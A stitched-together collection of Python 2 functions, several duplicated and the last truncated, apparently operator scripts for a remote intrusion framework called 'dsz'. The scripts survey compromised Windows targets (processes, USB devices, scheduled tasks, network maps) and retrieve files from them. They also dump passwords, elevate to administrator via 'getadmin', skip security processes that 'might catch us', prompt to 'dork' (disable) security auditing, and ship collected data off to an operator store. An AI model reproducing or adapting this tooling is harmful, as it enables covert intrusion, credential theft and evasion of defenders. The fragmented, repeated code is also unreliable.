def print_agestring(data_age): if (data_age > datetime.timedelta(seconds=5)): ops.warn(( 'Data age: %s (from local cache, re-run manually if you need to)' % ops.agestring(data_age))) else: ops.warn(('Data age: %s - data is fresh' % ops.agestring(data_age)))
def main(): parser = OptionParser() parser.add_option( '--start-monitor', dest='startmonitor', action='store_true', default=False, help='Start the process monitor in addition to getting a process list.' ) parser.add_option('--full-list', dest='fulllist', action='store_true', default=False, help='Do a full process list (no -minimal).') (options, args) = parser.parse_args() proc_cmd = ops.cmd.getDszCommand('processes -list') (result, messages) = proc_cmd.safetyCheck() minimal_flag = (not result) if options.fulllist: ops.survey.print_header('Process list') cachelist = ops.processes.processlist.get_processlist( minimal=minimal_flag, maxage=datetime.timedelta.max) curlist = ops.processes.processlist.get_processlist( minimal=minimal_flag, maxage=datetime.timedelta(seconds=30)) ops.survey.print_agestring(curlist[0].dszobjage) try: if (cachelist.cache_timestamp != curlist.cache_timestamp): do_diff = True except: pass proctree = ops.processes.processlist.build_process_tree(curlist) displays = treecurse(proctree, 0) if (len(displays) != len(curlist)): ops.warn( 'The below tree is not a tree! There must be a loop in the process tree! Falling back to non-tree display' ) displays = map((lambda x: prettyproc(x, 0)), curlist) codes = list() for displayproc in displays: proc = displayproc['procobj'] code = dsz.DEFAULT if (proc.proctype == 'MALICIOUS_SOFTWARE'): code = dsz.ERROR elif (proc.proctype == 'SECURITY_PRODUCT'): code = dsz.WARNING elif (proc.proctype == 'SAFE'): code = dsz.GOOD elif (proc.friendlyname == ''): code = dsz.WARNING codes.append(code) fullpathheader = 'Full Path' if minimal_flag: fullpathheader = 'Image Name' pprint( displays, header=['PID', 'PPID', fullpathheader, 'User', 'Comment'], dictorder=['id', 'parentid', 'fullpath', 'user', 'friendlyname'], echocodes=codes) if options.startmonitor: ops.processes.processlist.start_monitor()
def main(): parser = ArgumentParser(prog='paperfind', description='\nProvides grep-like functionality for the \'handles\' command.\n\nRelative paths will (probably) never match. Use absolute or partial\npaths as though you are grepping. For full featured pattern matching,\nconsider the --regex option.\n\nIf the pattern you\'re searching for starts with a "-" character, place\na "-" by itself before beginning the pattern.\n\n e.g. %(prog)s -any - -filethatstartswithadash\n or %(prog)s - -filethatstartswithadash -any\n') parser.add_argument('pattern', help='Pattern or regular expression.') parser.add_argument('--regex', dest='regex', action='store_true', help='Treat the input pattern as a user-supplied regular expression instead of a simple string pattern.') parser.add_argument('--any', dest='any', action='store_true', default=False, help='Search all handle types instead of only file handles.') parser.add_argument('--data', dest='data_age', metavar='AGE', type=delta, default=datetime.timedelta(minutes=10), help='How old cached data can be before re-querying target. Use #d#h#m#s format. (Default 10m if unspecified).') handles_group = parser.add_argument_group(title='handles', description='Options that control how the handles command is run.') handles_group.add_argument('--id', dest='id', type=int10or16, help='Limit returned handle search to a particular process ID.') handles_group.add_argument('--all', dest='all', action='store_true', default=False, help='Search all available handle information. (Not recommended with this script; provides no benefit)') handles_group.add_argument('--memory', dest='memory', type=int10or16, help='Number of bytes to use for open handle list (defaults to handles default).') options = parser.parse_args() if options.regex: ops.info(('Searching using regex: %s' % options.pattern)) else: ops.info(('Searching for "%s"...' % options.pattern)) found = ops.system.handles.grep_handles(pattern=ntpath.normpath(options.pattern), id=options.id, all=options.all, memory=options.memory, regex=options.regex, any=options.any, maxage=options.data_age) if (int is type(found)): ops.error(('Error running handles command. Check logs for command ID %d.' % found)) sys.exit((-1)) elif (found is None): ops.error('Error running handles; command may not have been attempted.') sys.exit((-1)) elif (not found): ops.warn('No matches.') sys.exit((-1)) elif options.any: pprint(found, header=['PID', 'Handle', 'Type', 'Full Path'], dictorder=['process', 'handle', 'type', 'name']) else: pprint(found, header=['PID', 'Handle', 'Full Path'], dictorder=['process', 'handle', 'name'])
def main(): usage = 'Usage: python windows\\vget.py -args "-F [Full Path to File] -p [path to file] -m [mask] Optional: -t [bytes] -hex -nosend"\n\nOptions:\n-t [bytes] : grab last x bytes of file (tail)\n-nosend : move file to nosend dir\n-hex : open file in hex editor\n\nEx. python windows\\vget.py -args "-m connections.log -p C:\\Documents and Settings\\user\\logs -t 10000 -nosend"\nEx. python windows\\vget.py -args "-F C:\\Documents and Settings\\user\\logs\\connections.log -t 10000 -nosend -hex"' parser = ArgumentParser(usage=usage) parser.add_argument('-p', dest='path', nargs='+', action='store', default=False) parser.add_argument('-m', dest='mask', action='store', default=False) parser.add_argument('-F', dest='full_path', nargs='+', action='store', default=False) parser.add_argument('-t', dest='tail', type=int, action='store', default=False) parser.add_argument('--nosend', dest='nosend', action='store_true', default=False) parser.add_argument('--hex', dest='hex', action='store_true', default=False) options = parser.parse_args() if (len(sys.argv) == 1): print usage sys.exit(0) if (options.full_path == options.mask == False): ops.warn('No mask or full path specified! Need one or the other to execute.') sys.exit(0) mask = options.mask tail = options.tail nosend = options.nosend hex = options.hex getCmd = ops.cmd.getDszCommand('get') if options.full_path: full_path = ' '.join(options.full_path) getCmd.arglist.append(('"%s"' % full_path)) else: if options.path: path = ' '.join(options.path) getCmd.optdict['path'] = ('"%s"' % path) getCmd.optdict['mask'] = mask if tail: getCmd.arglist.append(('-tail %s' % tail)) getCmd.dszquiet = False getCmd.execute() getResult = getCmd.result id = getResult.cmdid for n in getResult.filestop: if (n.successful != 1): ops.error(('Get Failed; see cmdid %s or above output for more info' % id)) sys.exit(0) localName = '' for n in getResult.filelocalname: localName = n.localname fullLocalPath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles', localName) if (nosend == True): movePath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles\\NoSend', localName) moveCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c move %s %s"' % (fullLocalPath, movePath))) moveCmd.execute() fullLocalPath = movePath ops.info(('File moved to %s' % movePath)) if (hex == False): ops.info('Opening file with notepad++') showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\progra~1\\notepad++\\notepad++.exe %s"' % fullLocalPath)) else: ops.info('Opening file with hex editor') showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\Progra~1\\BreakP~1\\HexWor~1.2\\hworks32.exe %s"' % fullLocalPath)) showCmd.execute()
def main(): if (len(sys.argv) < 2): return ops.error('You need to supply a command to run.') cmd = '' for i in sys.argv[1:]: cmd += (i + ' ') ops.info(('Timing the run time of "%s" (Note: no preloading occurs by the timer)' % cmd)) start = time.clock() if (not dsz.cmd.Run(cmd)): ops.warn('Command did not execute correctly. Your run time may be useless.') end = time.clock() ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
def writeSafetyHandlers(plugin, handlers): if ((handlers is None) or (len(handlers) == 0)): ops.env.delete(('OPS_SAFE_%s' % plugin)) ops.cmd.getDszCommand('wrappers', unregister=plugin, script=GENERIC_WRAPPER_SCRIPT, project='Ops', pre=True).execute() return else: strval = ('%s.%s' % handlers[0]) for handler in handlers[1:]: strval += (',%s.%s' % handler) ops.env.set(('OPS_SAFE_%s' % plugin), strval) if (len(handlers) == 1): ops.cmd.getDszCommand('wrappers', register=plugin, script=GENERIC_WRAPPER_SCRIPT, project='Ops', pre=True).execute() ops.warn(('%d safety %s registered for %s' % (len(handlers), ('handler' if (len(handlers) == 1) else 'handlers'), plugin)))
def main(): if (ops.TARGET_ADDR == 'z0.0.0.1'): ops.warn('Problems can only be reported from target sessions. If you have no more target sessions, please complain about the problem through other means') sys.exit((-1)) toolName = sys.argv[1] if (not dsz.env.Check('OPS_USERID')): idnum = dsz.ui.GetInt('Please enter your ID') dsz.env.Set('OPS_USERID', str(idnum), 0, '') idnum = dsz.env.Get('OPS_USERID') problemText = ' '.join(sys.argv[2:]) dszLogger = DSZPyLogger() toolLog = dszLogger.getLogger(toolName) toolLog.log(21, ((idnum + ':') + problemText)) ops.info('Your problem has been logged and will be reported when you are done')
def main(): if (len(sys.argv) < 2): return ops.error('You need to supply a command to run.') cmd = '' for i in sys.argv[1:]: cmd += (i + ' ') ops.info(( 'Timing the run time of "%s" (Note: no preloading occurs by the timer)' % cmd)) start = time.clock() if (not dsz.cmd.Run(cmd)): ops.warn( 'Command did not execute correctly. Your run time may be useless.') end = time.clock() ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
def selectBestCPAddress(targetID=None, reason=''): cpaddrs = getActiveCPAddresses(targetID) if (len(cpaddrs) == 0): raise Exception('No active CP addresses for this target, cannot run command') elif (len(cpaddrs) > 1): cpaddrlist = ','.join(cpaddrs) addr = '' default = '' if (ops.TARGET_ADDR in cpaddrs): default = ops.TARGET_ADDR while (addr not in cpaddrs): ops.warn(('A script wishes to "%s" on a target to which you have multiple connections (%s)' % (reason, cpaddrlist))) addr = dsz.ui.GetString('Please enter the one you wish to use', default) return addr else: return cpaddrs[0]
def main(): parser = OptionParser() parser.add_option( '--maxage', dest='maxage', default=ONE_DAY, help= 'Maximum age of scheduler information to use before re-running query commands', type='int') (options, args) = parser.parse_args() ops.survey.print_header('USB survey info') keylist = [( 'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}', 'OPS_USB_RECENT_DEVICES_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USB', 'OPS_USB_USB_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USBSTOR', 'OPS_USB_USBSTOR_KEY', options.maxage, True)] results = [] for pair in keylist: try: result = ops.system.registry.get_registrykey( 'L', pair[0], cache_tag=pair[1], cache_size=1, maxage=datetime.timedelta(seconds=pair[2]), dszquiet=True, dszlog=True, recursive=pair[3]) try: if (result.dszobjage < datetime.timedelta(seconds=pair[2])): ops.info(('%s data is only %s old, was not re-run' % (pair[0], result.dszobjage))) else: ops.info(('Got new data for %s' % pair[0])) except: pass results.append(result) except: ops.warn(('%s not found' % pair[0])) if (results[0].key[0].name == 'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}' ): ops.info('Showing recent USB devices') for v in results[0].key[0].subkey: print('[%s %s] %s' % (v.updatedate, v.updatetime, v.name))
def main(): if (ops.TARGET_ADDR == 'z0.0.0.1'): ops.warn( 'Problems can only be reported from target sessions. If you have no more target sessions, please complain about the problem through other means' ) sys.exit((-1)) toolName = sys.argv[1] if (not dsz.env.Check('OPS_USERID')): idnum = dsz.ui.GetInt('Please enter your ID') dsz.env.Set('OPS_USERID', str(idnum), 0, '') idnum = dsz.env.Get('OPS_USERID') problemText = ' '.join(sys.argv[2:]) dszLogger = DSZPyLogger() toolLog = dszLogger.getLogger(toolName) toolLog.log(21, ((idnum + ':') + problemText)) ops.info( 'Your problem has been logged and will be reported when you are done')
def update(self, debug=False): self._updateMeta(debug) numdirs = len(dsz.cmd.data.Get('diritem', dsz.TYPE_OBJECT, self.cmdid)) if (numdirs == 0): return numfiles = len(dsz.cmd.data.Get('diritem::fileitem', dsz.TYPE_OBJECT, self.cmdid)) if (numfiles > self.filelimit): ops.warn(('Too many results (%d/%s), bailing to protect you' % (numfiles, self.filelimit))) raise RuntimeError('Too large of a result set to process') paths = dsz.cmd.data.Get('diritem::path', dsz.TYPE_STRING, self.cmdid) try: denieds = dsz.cmd.data.Get('diritem::denied', dsz.TYPE_BOOL, self.cmdid) except: denieds = ([False] * len(paths)) for i in range(len(self.diritem), len(paths)): self.diritem.append(DirItemObject(('diritem[%d]' % i), self.cmdid, self, debug)) self.diritem[i].denied = denieds[i] self.diritem[i].path = unicode(paths[i], 'utf_8')
def main(): ops.survey.print_header('Monitors') if ops.env.bool('OPS_NOMONITORS'): ops.warn('Not starting any monitors, something may catch them.') return menu = util.menu.Menu( None, [['Full - arp, netstat, activity'], ['Netstat and activity'], ['Activity only']], ['Monitors'], 'Select your monitors (full recommended for most situations):') response = None while ((response < 1) or (response > 4)): response = menu.show(1)[0] if (response <= 3): start_activitymon() if (response <= 2): start_netmon() if (response <= 1): start_arpmon()
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of scheduler information to use before re-running query commands', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Scheduler survey') schedulers = ops.system.scheduler.get_all_schedulers_local(maxage=datetime.timedelta(seconds=options.maxage)) (windir, sysdir) = dsz.path.windows.GetSystemPaths() tasklist = ops.files.dirs.get_dirlisting(os.path.join(windir, 'Tasks'), cache_tag='TASKS_FOLDER_DIR', recursive=True) if (tasklist.commandmetadata.status != 0): ops.warn("Could not query Tasks folder. Look at the following value from the registry and decide if you want to try dir'ing it yourself.") regval = ops.cmd.quickrun('registryquery -hive L -key "Software\\Microsoft\\SchedulingAgent" -value TasksFolder') ops.info(('Tasks folder should be %s' % regval.key[0].value[0])) ops.pause() displays = list() dataage = datetime.timedelta(seconds=0) if ('at' in schedulers): dataage = schedulers['at'].dszobjage for job in schedulers['at'].atjob: freqstring = '' if (job.frequency == 'Today'): freqstring = ('Today at %s' % job.time) elif ((job.frequency == 'Each') or (job.frequency == 'Next')): freqstring = ('%s %s%s at %s' % (job.frequency, job.weekday, job.month, job.time)) else: freqstring = 'Could not interpret data, check the job manually' displays.append({'source': 'AT', 'jobname': job.id, 'nextrun': freqstring, 'command': job.commandtext, 'triggers': '', 'runas': 'SYSTEM'}) if ('gui' in schedulers): dataage = schedulers['gui'].dszobjage for job in schedulers['gui'].netjob: displays.append({'source': 'GUI', 'jobname': job.jobname, 'nextrun': ('%s %s' % (job.nextrundate, job.nextruntime)), 'command': ('%s %s' % (job.application, job.parameters)), 'triggers': job.trigger.triggerstring, 'runas': job.account}) if ('service' in schedulers): dataage = schedulers['service'].dszobjage for folder in schedulers['service'].folder: for job in filter((lambda x: (not x.disabled)), folder.job): for action in job.action: freqstring = ', '.join(map((lambda x: ('%s %s %s' % (x.type, x.startboundary, x.endboundary))), job.trigger)) if (action.type.lower() == 'exec'): actionstring = ('%s %s (runs in "%s")' % (action.execjob.path, action.execjob.arguments, action.execjob.workingdir)) else: actionstring = ('COM job ClassID and data: %s - %s' % (action.com.classid, action.com.data)) displays.append({'source': 'SERVICE', 'jobname': ('%s\\%s' % (folder.name, job.name)), 'nextrun': freqstring, 'command': actionstring, 'triggers': freqstring, 'runas': ('%s %s' % (job.principal.userid, job.principal.runlevel))}) ops.survey.print_agestring(dataage) pprint(displays, dictorder=['source', 'command', 'nextrun', 'triggers', 'runas', 'jobname'], header=['source', 'command', 'nextrun', 'triggers', 'runas', 'jobname'])
def selectBestCPAddress(targetID=None, reason=''): cpaddrs = getActiveCPAddresses(targetID) if (len(cpaddrs) == 0): raise Exception( 'No active CP addresses for this target, cannot run command') elif (len(cpaddrs) > 1): cpaddrlist = ','.join(cpaddrs) addr = '' default = '' if (ops.TARGET_ADDR in cpaddrs): default = ops.TARGET_ADDR while (addr not in cpaddrs): ops.warn(( 'A script wishes to "%s" on a target to which you have multiple connections (%s)' % (reason, cpaddrlist))) addr = dsz.ui.GetString('Please enter the one you wish to use', default) return addr else: return cpaddrs[0]
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Disk list and space info') last_drives = ops.files.drives.get_drivelist(maxage=datetime.timedelta.max) cur_drives = ops.files.drives.get_drivelist(maxage=datetime.timedelta(seconds=options.maxage)) last_drivespaces = dict() cur_drivespaces = dict() for drive in filter((lambda x: (x.type == 'Fixed')), cur_drives.driveitem): try: last_drivespaces[drive.drive[0].upper()] = ops.files.drives.get_diskspace(drive.drive[0].upper(), maxage=datetime.timedelta.max) cur_drivespaces[drive.drive[0].upper()] = ops.files.drives.get_diskspace(drive.drive[0].upper(), maxage=datetime.timedelta(seconds=options.maxage)) except ops.cmd.OpsCommandException as ex: ops.warn(('Had a problem when trying to get disk space on drive %s.' % drive.drive[0].upper())) ops.warn('It might be a memory card reader or something similar that only pretends to be fixed') drive_remove = list() drive_add = list() for old_drive in last_drives.driveitem: match_drive = filter((lambda x: ((x.drive[0].upper() == old_drive.drive[0].upper()) and (x.type == old_drive.type) and (x.serialnumber == old_drive.serialnumber))), cur_drives.driveitem) if (len(match_drive) == 0): drive_remove.append(old_drive) for new_drive in cur_drives.driveitem: match_drive = filter((lambda x: ((x.drive[0].upper() == new_drive.drive[0].upper()) and (x.type == new_drive.type) and (x.serialnumber == new_drive.serialnumber))), last_drives.driveitem) if (len(match_drive) == 0): drive_add.append(new_drive) ops.survey.print_agestring(cur_drives.dszobjage) results = list() for drive in cur_drives.driveitem: driveletter = drive.drive[0].upper() if (driveletter in cur_drivespaces): drivespace = cur_drivespaces[driveletter] if (driveletter in last_drivespaces): drivespace_diff = (drivespace.free - last_drivespaces[driveletter].free) else: drivespace_diff = 'NEW' results.append({'drive': driveletter, 'serial': drive.serialnumber, 'type': drive.type, 'free': (drivespace.free / (1024 * 1024)), 'total': (drivespace.total / (1024 * 1024)), 'available': (drivespace.available / (1024 * 1024)), 'islow': drivespace.low_diskspace, 'change': (drivespace_diff / (1024 * 1024)), 'inuse': ('%s/%s (%d%%)' % (((drivespace.total - drivespace.free) / (1024 * 1024)), (drivespace.total / (1024 * 1024)), (100 - (100 * (float(drivespace.free) / drivespace.total)))))}) else: results.append({'drive': driveletter, 'serial': drive.serialnumber, 'type': drive.type, 'free': '', 'total': '', 'available': '', 'islow': '', 'change': '', 'inuse': ''}) ops.pprint.pprint(results, header=['Drive', 'Serial', 'Type', 'In use (MB)', 'Change (MB)'], dictorder=['drive', 'serial', 'type', 'inuse', 'change']) pass
def main(): from globalconfig import config import sendfile bad = [] with open(BAD_PROCS) as input: for i in input: bad.append(i.strip().lower()) procs = ops.processes.processlist.get_processlist() for proc in procs: if (proc.name.lower().strip() in bad): ops.warn(('Skipping PID %d (%s), something might catch us.' % (proc.id, proc.name))) continue elif ((proc.name == '') or (proc.name == 'System') or (proc.id == 0)): ops.info(('Skipping PID %d (%s)' % (proc.id, proc.name))) continue else: procinfo_cmd = ops.cmd.getDszCommand('processinfo', id=proc.id) procinfo_cmd.execute() if (procinfo_cmd.success != 1): ops.error(('Could not query process info for PID %d (%s)' % (proc.id, proc.name))) else: ops.info(('Got processinfo for PID %d (%s)' % (proc.id, proc.name))) ops.info('Copying up to FresStep...') xmldir = os.path.normpath(('%s/Data' % ops.LOGDIR)) files = util.listdir(xmldir, '.*processinfo.*\\.xml') tmpdir = os.path.join(config['paths']['tmp'], ('freshstep_%s_%s' % (ops.PROJECT, ops.TARGET_IP))) os.makedirs(tmpdir) ops.info(('Local temporary working directory: %s' % tmpdir)) for i in files: shutil.copy(os.path.normpath(('%s/%s' % (xmldir, i))), tmpdir) os.chmod((os.path.normpath('%s/%s') % (tmpdir, i)), (stat.S_IREAD | stat.S_IWRITE)) try: sendfile.main(tmpdir) except: import traceback traceback.print_exc() ops.error('Failed to copy fast.') shutil.rmtree(tmpdir) ops.info('Removed temporary files.') ops.cmd.quickrun(('warn \\"ProcessDeep completed for %s\\"' % ops.TARGET_ADDR))
def main(): parser = OptionParser() parser.add_option( '--maxage', dest='maxage', default='3600', help= 'Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Password dump') pwdump_cmd = ops.cmd.getDszCommand('passworddump') (issafe, messages) = pwdump_cmd.safetyCheck() if (not issafe): ops.warn( 'Skipping passworddump for now because of a failed safety check') ops.warn(messages) ops.warn( "If you want to do it yourself, feel free, but I don't think it's safe" ) ops.pause() return yesno = dsz.ui.Prompt( "I think it's safe to run passworddump. Do you want to run it?") if yesno: ops.security.get_passwords( maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True})
def main(): flags = dsz.control.Method() dsz.control.echo.Off() if dsz.process.windows.IsSystem(): ops.info('Current user: System') dsz.env.Set('OPS_ALREADYPRIV', 'TRUE') return None if dsz.process.windows.IsInAdminGroup(): ops.info('Your process has Administrator rights.') dsz.env.Set('OPS_ALREADYPRIV', 'TRUE') return None dsz.env.Set('OPS_ALREADYPRIV', 'FALSE') ops.warn('You are not System and do not have Administrator privileges.') if (not dsz.ui.Prompt('Use JUMPUP to elevate?')): ops.warn('Did not elevate, probably for a good reason.') else: (success, id) = dsz.cmd.RunEx('getadmin') if success: ops.info(('Successfully elevated. Do not stop command ID %d or you will lose your blessing.' % id)) else: ops.error(('Could not elevate! See log for command ID %d for more information.' % id)) ops.error('Be sure you know what you can and cannot do.')
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Networking Information') print() ops.survey.ifconfig.main(options, args) ops.survey.print_sub_header('Route table') route_data = ops.networking.route.get_routes(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(route_data.dszobjage) pprint(route_data.route, dictorder=['destination', 'networkmask', 'gateway', 'interface', 'metric', 'origin'], header=['Dest. network', 'Mask', 'Gateway', 'Interface', 'Metric', 'Origin']) ops.survey.print_sub_header('ARP table') try: arp_data = ops.networking.connections.get_arp_cache(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(arp_data.dszobjage) pprint(arp_data.entry, dictorder=['ip', 'type', 'adapter', 'mac'], header=['IP', 'Type', 'Interface', 'MAC']) except ops.cmd.OpsCommandException as ex: ops.error('Error occurred running ARP command') ops.error(ex) ops.survey.print_sub_header('Getting the pipelist in the background') pipe_data = ops.networking.connections.get_pipes(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_sub_header('NETBIOS') netbios_cmd = ops.cmd.getDszCommand('netbios', dszquiet=False) netbios_cmd.execute() if dsz.ui.Prompt('Do you want to run background netmap -minimal?'): sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(seconds=options.maxage)) if (sysver.versioninfo.major > 5): dsz.ui.Echo("Netmap will require user credentials (and probably won't work on 2K8)", dsz.WARNING) dsz.ui.Echo('If you want to run netmap, you have to go run "duplicatetoken -duplicate" or logonasuser for me', dsz.WARNING) get_creds = dsz.ui.Prompt('Do you want to do this?') if get_creds: userhandle = dsz.ui.GetString('Please enter the user handle you were given by duplicatetoken or logonasuser I should use (i.e. proc1234)') netmap_data = ops.networking.netmap.get_minimal_netmap(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True, 'dszuser': userhandle}) else: ops.warn("Can't get netmap without creds") else: netmap_data = ops.networking.netmap.get_minimal_netmap(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True}) else: netmap_data = None
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default=ONE_DAY, help='Maximum age of scheduler information to use before re-running query commands', type='int') (options, args) = parser.parse_args() ops.survey.print_header('USB survey info') keylist = [('System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}', 'OPS_USB_RECENT_DEVICES_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USB', 'OPS_USB_USB_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USBSTOR', 'OPS_USB_USBSTOR_KEY', options.maxage, True)] results = [] for pair in keylist: try: result = ops.system.registry.get_registrykey('L', pair[0], cache_tag=pair[1], cache_size=1, maxage=datetime.timedelta(seconds=pair[2]), dszquiet=True, dszlog=True, recursive=pair[3]) try: if (result.dszobjage < datetime.timedelta(seconds=pair[2])): ops.info(('%s data is only %s old, was not re-run' % (pair[0], result.dszobjage))) else: ops.info(('Got new data for %s' % pair[0])) except: pass results.append(result) except: ops.warn(('%s not found' % pair[0])) if (results[0].key[0].name == 'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}'): ops.info('Showing recent USB devices') for v in results[0].key[0].subkey: print ('[%s %s] %s' % (v.updatedate, v.updatetime, v.name))
def writeSafetyHandlers(plugin, handlers): if ((handlers is None) or (len(handlers) == 0)): ops.env.delete(('OPS_SAFE_%s' % plugin)) ops.cmd.getDszCommand('wrappers', unregister=plugin, script=GENERIC_WRAPPER_SCRIPT, project='Ops', pre=True).execute() return else: strval = ('%s.%s' % handlers[0]) for handler in handlers[1:]: strval += (',%s.%s' % handler) ops.env.set(('OPS_SAFE_%s' % plugin), strval) if (len(handlers) == 1): ops.cmd.getDszCommand('wrappers', register=plugin, script=GENERIC_WRAPPER_SCRIPT, project='Ops', pre=True).execute() ops.warn( ('%d safety %s registered for %s' % (len(handlers), ('handler' if (len(handlers) == 1) else 'handlers'), plugin)))
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Password dump') pwdump_cmd = ops.cmd.getDszCommand('passworddump') (issafe, messages) = pwdump_cmd.safetyCheck() if (not issafe): ops.warn('Skipping passworddump for now because of a failed safety check') ops.warn(messages) ops.warn("If you want to do it yourself, feel free, but I don't think it's safe") ops.pause() return yesno = dsz.ui.Prompt("I think it's safe to run passworddump. Do you want to run it?") if yesno: ops.security.get_passwords(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True})
def get_all_schedulers_local(maxage=timedelta(seconds=0), targetID=None, use_volatile=False): gui_command = ops.cmd.getDszCommand('scheduler', query='gui') at_command = ops.cmd.getDszCommand('scheduler', query='at') srv_command = ops.cmd.getDszCommand('scheduler', query='service') sysver = ops.system.systemversion.get_os_version(maxage=timedelta(seconds=86400)) srv_tagname = ('%s_SERVICE' % SCHEDULER_TAG_BASE) gui_tagname = ('%s_GUI' % SCHEDULER_TAG_BASE) at_tagname = ('%s_AT' % SCHEDULER_TAG_BASE) retval = {} try: retval['gui'] = ops.project.generic_cache_get(gui_command, cache_tag=gui_tagname, cache_size=MAX_SCHEDULER_CACHE_SIZE, maxage=maxage, targetID=targetID, use_volatile=use_volatile) except: ops.warn('Unable to get "gui" scheduler data') if ((sysver.versioninfo.major <= 6) and (sysver.versioninfo.minor < 2)): try: retval['at'] = ops.project.generic_cache_get(at_command, cache_tag=at_tagname, cache_size=MAX_SCHEDULER_CACHE_SIZE, maxage=maxage, targetID=targetID, use_volatile=use_volatile) except: ops.warn('Unable to get "at" scheduler data') if (sysver.versioninfo.major > 5): try: retval['service'] = ops.project.generic_cache_get(srv_command, cache_tag=srv_tagname, cache_size=MAX_SCHEDULER_CACHE_SIZE, maxage=maxage, targetID=targetID, use_volatile=use_volatile) except: ops.warn('Unable to get "service" scheduler data') return retval
if (action == 'load'): loadHandlers() ops.info('Loaded safety handlers from previous op(s)') good = True elif (action == 'save'): saveHandlers() ops.info('Saved safety handlers for future op(s)') good = True elif (action == 'list'): listSafetyHandlers() good = True elif (len(sys.argv) == 3): action = sys.argv[1] plugin = sys.argv[2] if (action == 'clear'): clearSafetyHandler(plugin) good = True elif (len(sys.argv) == 4): action = sys.argv[1] plugin = sys.argv[2] handler = sys.argv[3] if (action == 'add'): addSafetyHandler(plugin, handler) good = True elif (action == 'delete'): removeSafetyHandler(plugin, handler) good = True if (not good): ops.warn( 'You called this wrong! Are you sure you should be doing this?') ops.info(_usage())
def main(): parser = OptionParser() parser.add_option('--status-only', dest='statusonly', action='store_true', default=False, help="Only show status, don't prompt about dorking") parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of auditing status information to use before re-running audit -status', type='int') (options, args) = parser.parse_args() if options.statusonly: ops.survey.print_header('Auditing status check, dorking will be later') else: ops.survey.print_header('Auditing dorking') last_status = ops.security.auditing.get_status(datetime.timedelta.max) audit_status = ops.security.auditing.get_status(datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(audit_status.dszobjage) sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(seconds=86400)) logged_events = [] if (not audit_status.status.audit_mode): ops.info('Auditing is not enabled on this machine') else: ops.warn('Auditing is enabled on this machine') logged_events = filter((lambda x: (x.audit_event_success or x.audit_event_failure)), audit_status.status.event) if (len(logged_events) > 0): if (sysver.versioninfo.major > 5): pprint(logged_events, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: pprint(logged_events, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: ops.info('But nothing is being logged') if ops.security.auditing.is_dorked(): target_addrs = ops.project.getCPAddresses() audit_cmds = ops.cmd.get_filtered_command_list(cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable']) cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0]) ops.warn(('Auditing is already dorked on this system. See command %d from session %s' % (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination))) if (last_status is not None): if (audit_status.status.audit_mode != last_status.status.audit_mode): ops.warn('Auditing status has changed on this target! Was %s, is now %s', (last_status.status.audit_mode, audit_status.status.audit_mode)) stamp = last_status.cache_timestamp ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' % (stamp.year, stamp.month, stamp.day, stamp.hour, stamp.minute))) changes = [] for i in range(len(last_status.status.event)): levent = last_status.status.event[i] cevent = audit_status.status.event[i] if ((levent.audit_event_success != cevent.audit_event_success) or (levent.audit_event_failure != cevent.audit_event_failure)): changes.append(cevent) if (len(changes) > 0): ops.warn('Event auditing status has changed on this target! See below for details') if (sysver.versioninfo.major > 5): pprint(changes, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: pprint(changes, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) if options.statusonly: ops.info('The above is only being shown for informational purposes, you will be prompted about dorking later') return if (audit_status.status.audit_mode and (not ops.security.auditing.is_dorked()) and (len(logged_events) > 0)): do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True) if do_dork: dork_success = False (results, 